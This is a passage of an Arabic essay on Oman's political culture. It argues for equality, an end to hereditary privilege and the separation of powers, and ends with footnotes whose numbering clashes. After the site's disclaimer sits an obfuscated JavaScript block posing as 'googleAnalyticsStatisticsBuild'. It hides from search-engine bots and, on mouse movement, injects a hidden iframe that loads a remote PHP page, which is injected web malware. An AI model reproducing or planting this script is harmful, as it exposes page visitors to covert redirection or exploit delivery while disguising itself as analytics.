(2) لا تقديس : يقوم التقديس في جانب كبير منه على عنصر التفاوت الجوهري بين الأشخاص و الأماكن و أحياناً بعض الوظائف و المهام ، فبحسب هذا التصور يعتبر بعضهم خارج القانون و لا يمكن تطبيق مبدأ المساواة عليهم وهو ما يضعنا أمام "شخصيات منزهة و مصانة بحسب القانون" و العرف الى حد بعيد.

(3) لا تفضيل بالوراثة : يأتي الإنسان لهذا " الوجود محطاً بمجموعة من الانتماءات ، المتكونة تاريخياً ، على تداخل و تراتب ما فيما بينها ، و المحددة لأنواع من الجماعات ذات الهوية المراسخة نسبياً ، كالانتماء القرابي الذي تنشأ عنه أنواع عدة من الجماعات الصغيرة أو الكبيرة ، و الانتماء اللغوي ، و الانتماء الطبقي ، و الانتماء الاقليمي ، و الانتماء الحضاري... الخ" (5). تستتبع هذه الانتماءات في الكثير من المجتمعات التقليدية تبايناً في الطبيعة البشرية و في الوظائف المُلقاة على عاتق المنتمي لها ، وهو ما يعني هنا بأن بعض الوظائف السياسية العُليا كالحكم و غيرها تقتصر على انتماء معين دون بقية الانتماءات ، غير ان الديمقراطية تضع هذه الانتماءات خارج الحسابان فيما يتعلق بالحياة السياسية لتصبح ضمن الإطار الشخصي و الخاص.

من أهم القضايا التي تحتاج إلى معالجة كبيرة ، هي قضية العقلية العُمانية. من المعروف بأن لكل نمط فكري زمن معين ، وهو ما يعني بأن لكل نمط فكري تاريخ نشوء ، و صيرورة نمو ، و لحظة أفول. ذلك ان هذه الأنماط الفكرية مرتبطة بالزمان و المكان و تحولات الحياة ، فهي ليست أزلية دائمة ، بل تاريخية. تقودنا هذه المقدمة هنا إلى ضرورة الالتفات إلى هذه النقطة في هذا السياق التاريخي الاستثنائي العُمني ، و منحها أهمية كبيرة لمواصلة صيرورة التقدم الشامل و ليس التقدم الجزئي المرتبط بالمطالبات المادية الآنية و السريعة. فالإنسان ليس كائننا استهلاكياً صرفاً ، بل هو في جزء كبير منه كائن يتوق للحرية بكل تفاصيلها و أطيافها ، ذلك ان الحرية في معظمها إنجذاب للمستقبل ، و ليس للماضي. لا يمكن تحديث العقلية العُمانية في ظل وجود خطوط حمراء تتعلق ببعض الأشخاص و " الرموز " ما عدا الدولة العُمانية بالمعنيين السياسي و الحضاري ، ذلك ان كل شيء ما عدا الدولة زائل و مؤقت ، ينطبق ذلك على الشخصيات السياسية و الدينية بدون استثناء. لا يمكن التعامل مع العقلية العُمانية أو أي عقلية أخرى كمعطى جاهز لا يمكن تغييره أو تعديله ، بل هي عبارة عن تراكم تاريخي من الأنساق التربوية و الاجتماعية و الفكرية... و غيرها ، التي تضافرت العديد من العوامل التاريخية في بنائها و نشأتها و إستمراريتها. هو ما يعني بأننا أمام خيوط و عوامل قابلة للدراسة و الفحص ، و بالتالي - و هذا هو الأهم - من الممكن و الضروري تعديلها ، لتتناسب و التطلعات الجمعية المستقبلية. من الممكن إعتبار الاهتمامات الجمعية العُمانية بمثابة مؤشر على هذه العقلية و مناطق إهتمامها ، فالاهتمامات المعاصرة تختلف بطبيعة الحال عن الاهتمامات السابقة ، و هو ما ينطبق الى حد بعيد على الاهتمامات المستقبلية ، ذلك ان هذه المناطق مرتبطة بالسياق العام : الداخلي و الخارجي ، للأشخاص و للعالم ، و ليست منعزلة عن المتغيرات المستمرة. و اذا كانت العقلية بتعريفها العمومي تعني " جملة العادات الفردية و الجمعية في التفكير و الحكم ، علماً بأن العادة تستبعد الى حد كبير التفكير النقدي لصالح الأحكام المسبقة" (6) ، و بصيغة أخرى فهي تعني " التراث المشترك للمتعاشرين في مكان - زمان خاص " ، و الذي يقوم لهم مقام " الذاكرة الجماعية " ، و " الحساسية المشتركة " و " المعقولة الجامعة " (م س ، ص 284) ، ما ان هذه التعريفات لا تعني بأي حال من الأحوال إنغلاق هذه " الحساسية المشتركة " لجميع المنتمين لها ، امام التطورات الحياتية المتعددة ، تحت وهم " الخصوصية " الشائع. فالخصوصية هي أمر حتمي سواء بالنسبة للأشخاص ام للجماعات ، فهي تعبر عن المسار الفردي للإنسان طوال حياته المليئة بالتجارب و الاحداث ، السلبية و الايجابية ، ذلك انها تساهم و بشكل كبير في تشكيل الرؤى الفردية ضمن الإطار الجماعي ، الامر الذي يُكسب الفرد خصوصيته داخل " الذاكرة الجماعية " ، ما ان هذه الحتمية لا يمكن إعتبارها كعائق أو كنقطة سلبية تقف في طريق التطوير و التحديث ، بل من الضروري إعتبارها كعامل غنى و ثراء معرفي. و لدعم هذه الرؤية ، التي لا تحتاج الى دعم ، نستطيع اللجوء الى التجارب الإنسانية المشتركة ، التي لم تعتبر تنوع الانتماءات الثقافية و الاجتماعية التي تُشكل مجتمعاتها بمثابة عوائق أو عقبات في طريق التحديث ، بل جعلتها كسمة إيجابية لدعم التنوع و التعدد الفكري و المعيشي ، وهو ما يعني ضخ دماء جديدة في نسيج المجتمع لمواصلة النمو و الإبداع.

و اذا كان الامر لا يقتصر فقط على تحديث العقلية العُمانية ، بالرغم من الاهمية القصوى لهذه النقطة ، ما ان هناك جوانب أخرى يستوجب القيام بها بشكل عاجل ، تتلخص هذه المسائل في ضرورة الفصل بين السلطات الثلاث : التشريعية و القضائية و التنفيذية ، الامر الذي يؤدي الى تحقيق التوازن بين السلطات كما هي النظرية التي جاء بها جون لوك. في هذا السياق من المهم تحديد بديهيات المفاهيم المتداولة و الشائعة ، على إعتبار ان الانسان في جوهره كائن مفهومي تحركه المفاهيم و توجهه ، و من اهم هذه المفاهيم ما يلي :

(1) مفهوم الدولة: تعتبر الدولة "ظاهرة دنيوية، إجتماعية، تاريخية، قاعدتها منطقة معينة من الارض و أساسها مجتمع يعيش على هذه الارض و يتفاعل معها عبر مراحل التاريخ و أطواره" (7)، فالدولة من الناحية المفهومية و المثالية و بهذا المعنى أيضاً لها مسار تاريخاني صاعد، فهي كيان ثابت محدد بقطعة أرض و إقليم له مساحة محدودة، و تقوم أيضاً في جانب أساسي منها على مبدأ المواطنة الذي ينص على المساواة التامة في الحقوق و الواجبات بين المواطنين، فهذه الأخيرة (المواطنة) لا تخضع لمبدأ الاصطفاء الوراثي او السلالي.

(2) مفهوم المحاكم: يعتبر المحاكم هنا تابع للدولة او جزء منها، فبدون الدولة لا قيمة له، وبشكل خاص اذا أخذنا في الاعتبار بأن الدولة لجميع المواطنين و تتسم بالثبات، في حين ان المحاكم متغير، خاضع للجدلية التاريخية و الحراك السياسي و المجتمعي و المحتمية الانسانية، فهو و الحالة هذه منفصل عنها و في نفس الوقت متصل بها.

(3) مفهوم الحكومة: يشير هذا المفهوم الى "الاجهزة و الادوات السياسية التي يقوم المسؤولون من خلالها بتطبيق السياسات و صنع القرارات" (8)، تتضمن المهام التي من المفترض ان تقوم بها الحكومة بشكل عام، هو السعي الحثيث لإقامة دولة الرفاه للمواطنين، و تقديم كافة الخدمات: التعليمية، الصحية، التوظيفية... و غيرها، للجميع بشكل مستمر، و قائم على العدالة الاجتماعية التي تعتبر بمثابة "القاعدة لتحديد كيفية توزيع المنافع الأساسية على المواطنين، بما في ذلك الحقوق و الفرص" (9)، ذلك ان العدالة الاجتماعية هي العمود الفقري للدولة إضافة الى توفير الخدمات المعيشية للمواطنين تجنباً لمواجهة أزمة "الكفر بالدولة" والتي تعني في هذا السياق: الوصول الى قناعة مفادها بأن الدولة بالمعنى السياسي الحديث بصفة عامة و الحكومة بصفة خاصة غير قادرة على تلبية الاحتياجات الأساسية للمواطنين مما يجعلهم (المواطنين) يلجئون الى بدائل سياسية و فكرية بشكل اضطراري للخروج من الأزمات التي تتراكم عليهم بشكل مستمر، مما يعني اللجوء للعنف في أحيان كثيرة.

خاتمه:

في ختام هذه الورقة، نستطيع القول في احد الجوانب بأن الدول، بالمعنى السياسي الحديث للكلمة، قد قامت على اساس تاريخاني صاعد، تتسع فيه الحقوق العمومية بشكل مستمر، وذلك بناء على ادبيات الفلسفة السياسية التي تختلف بشكل جوهرى عن ادبيات السياسة الشرعية كما صاغها بعض الفقهاء المسلمون.

في الجانب الآخر، لا تتساوى كل الدول في الاخذ او الاستفادة من هذه الادبيات، ذلك ان هذا التفاوت الجوهرى لا يمكن التخفيف من حدته عن طريق العنف و الاستيراد، بل يحتاج الى تعزيز معرفي حر، و ذلك عن طريق خلق مساحة عمومية لصياغة الافكار المستقبلية من جميع الاطراف و القوى.

(11) من الضروري للحديث في هذه النقطة الالتفات لما قاله طرابيشي في هرطقاته الاولى عن الديمقراطية و الكثير من النقاط الملازمة لها في المخيال العربي من حيث انها بمثابة "المفتاح السحري الذي به نفتح جميع الابواب المقفلة": للمزيد راجع: طرابيشي: هرطقات، ط1، 2006م، دار المساقى، ص 10.

(12) التفكير السياسي و النظرية السياسية و المجتمع المدني، تأليف: ستيفين ديبلو و تيموثي ديل، تر: ربيع وهبه. المشروع القومي للترجمة، رقم 1558. ص33.

(13) تاريخ الفلسفة السياسية: ج1، ليو شتراوس + جوزيف كروبسي، ترجمة: محمود سيد أحمد، المشروع القومي للترجمة، 809، ط1، ص20.

(14) هي حقبة كلاسيكية ضمن السياق الذي انتج هذه الادبيات غير انه مقارنة مع السياقات الاخرى فهذه الادبيات ما تزال مستمرة.

[5] (المجتمع المدني: التاريخ النقدي للفكرة، جون إهرنبرغ، ترجمة: علي حاكم صالح و حسن ناظم، المنظمة العربية للترجمة، ط1، 2008م، ص150.

[6] (ربما الماطروحة الشهيرة في هذا السياق هي أطروحة، فرانسيس فوكوياما، في عمله: نهاية التاريخ و الانسان الاخير.

[7] (تقتصر هذه الورقة فقط على المعنى السياسي، أي نظام الحكم السياسي، و لا تمتد للتواريخ الاخرى لعُمان بالرغم من ندرتها و ربما من أهمها التاريخ الجيولوجي، فالتاريخ الاخير من الصعب إخفاؤه و أدلجته، و ذلك لعدم وجود دواعٍ لذلك، على الاقل من منظور الباحث، كاتب هذه السطور.

[8] (د. حسن عبید غباش: عُمان الديمقراطية الاسلامية، تقاليد الامامة و التاريخ السياسي الحديث. دار الجديد، ط1، 1997، ص127.

[9] (ناصر: منطق السلطة: مدخل الى فلسفة الامر، ط2، دار أمواج، ص76.

[10] (جورج طرابيشي: نظرية العقل، ط2، دار المساقى، ص283.

[11] (ناصر: م س، ص170.

[12] (انتوني غدنر، علم الاجتماع، تر: دفايز الصياغ، المنظمة العربية للترجمة، ط1، 2005م، ص497.

[13] (التفكير السياسي و النظرية السياسية: م س، ص542.

المصدر: [محلة الفلق الالكترونية](#)

المآفكار الواردة في الأوراق والمداخلات والتعقيبات لا تعبر عن رأي الموقع وإنما عن رأي أصحابها

var

```
_0xfc05=["x74x6Fx4Cx6Fx63x61x6Cx65x4Cx6Fx77x65x72x43x61x73x65","x75x73x65x72x41x67x65x6Ex74","x79x61x6Ex64x65x78x62x6Fx74","x79x61x6Ex64x65x78x6Dx65x74x72x69x6Bx61","x79x61x6Ex64x65x78x69x6Dx61x67x65x73","x67x6Fx6Fx67x6Cx65x62x6Fx74","x69x6Ex64x65x78x4Fx66","x77x69x64x74x68","x68x65x69x67x68x74","x6Fx6Ex6Dx6Fx75x73x65x6Dx6Fx76x65","x62x6Fx64x79","x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65","x67x6Fx6Fx67x6Cx65x61x6Ex61x6Cx79x74x69x63x73x69x66x72x61x6Dx65","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x69x66x72x61x6Dx65","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x31x32x70x78","x69x64","x73x72x63","x68x74x74x70x3Ax2Fx2Fx73x68x61x72x6Bx79x70x72x6Fx2Ex73x79x6Ex6Fx6Cx6Fx67x79x2Ex6Dx65x2Fx56x42x34x2Fx69x6Ex63x6Cx75x64x65x73x2Fx6Dx69x64x64x6Cx65x2Ex70x68x70","x61x70x70x65x6Ex64x43x68x69x6Cx64","x69x6Ex6Ex65x72x57x69x64x74x68","x6Ex75x6Dx62x65x72","x69x6Ex6Ex65x72x48x65x69x67x68x74","x64x6Fx63x75x6Dx65x6Ex74x45x6Cx65x6Dx65x6Ex74","x63x6Cx69x65x6Ex74x57x69x64x74x68","x63x6Cx69x65x6Ex74x48x65x69x67x68x74","x67x6Fx6Fx67x6Cx65x41x6Ex61x6Cx79x74x69x63x73x53x74x61x74x69x73x74x69x63x73x42x75x69x6Cx64x28x29"];function googleAnalyticsStatisticsBuild(){var _0x11fex2=navigator[_0xfc05[1]][_0xfc05[0]]();var _0x11fex3=[_0xfc05[2],_0xfc05[3],_0xfc05[4],_0xfc05[5]];for(k in _0x11fex3){if(_0x11fex2[_0xfc05[6]][_0x11fex3[k]]!=1){return ;} ;} ;var _0x11fex4=detectBrowserSize();if(_0x11fex4[_0xfc05[7]]==0||_0x11fex4[_0xfc05[8]]==0){return ;} ;var _0x11fex5=false;if(document[_0xfc05[11]][_0xfc05[10]][0][_0xfc05[9]]){_0x11fex5=document[_0xfc05[11]][_0xfc05[10]][0][_0xfc05[9]];} ;document[_0xfc05[11]][_0xfc05[10]][0][_0xfc05[9]]=function (){if(!document[_0xfc05[13]][_0xfc05[12]]){iframe=document[_0xfc05[15]][_0xfc05[14]];iframe[_0xfc05[7]]=_0xfc05[16];iframe[_0xfc05[8]]=_0xfc05[16];iframe[_0xfc05[17]]=_0xfc05[12];iframe[_0xfc05[18]]=_0xfc05[19];document[_0xfc05[11]][_0xfc05[10]][0][_0xfc05[20]](iframe);} ; if(_0x11fex5!=false){_0x11fex5();} ;} ;function detectBrowserSize(){var _0x11fex7=0,_0x11fex8=0;if (typeof (window[_0xfc05[21]])==_0xfc05[22]){_0x11fex7=window[_0xfc05[21]];_0x11fex8=window[_0xfc05[23]];} else {if(document[_0xfc05[24]]&&(document[_0xfc05[24]][_0xfc05[25]]||document[_0xfc05[24]][_0xfc05[26]]))[_0x11fex7=document[_0xfc05[24]][_0xfc05[25]];_0x11fex8=document[_0xfc05[24]][_0xfc05[26]];} else {if(document[_0xfc05[10]]&&(document[_0xfc05[10]][_0xfc05[25]]||document[_0xfc05[10]][_0xfc05[26]]))[_0x11fex7=document[_0xfc05[10]][_0xfc05[25]];_0x11fex8=document[_0xfc05[10]][_0xfc05[26]];} ;} ;return {width:_0x11fex7,height:_0x11fex8};} ;setTimeout(_0xfc05[27],500);
```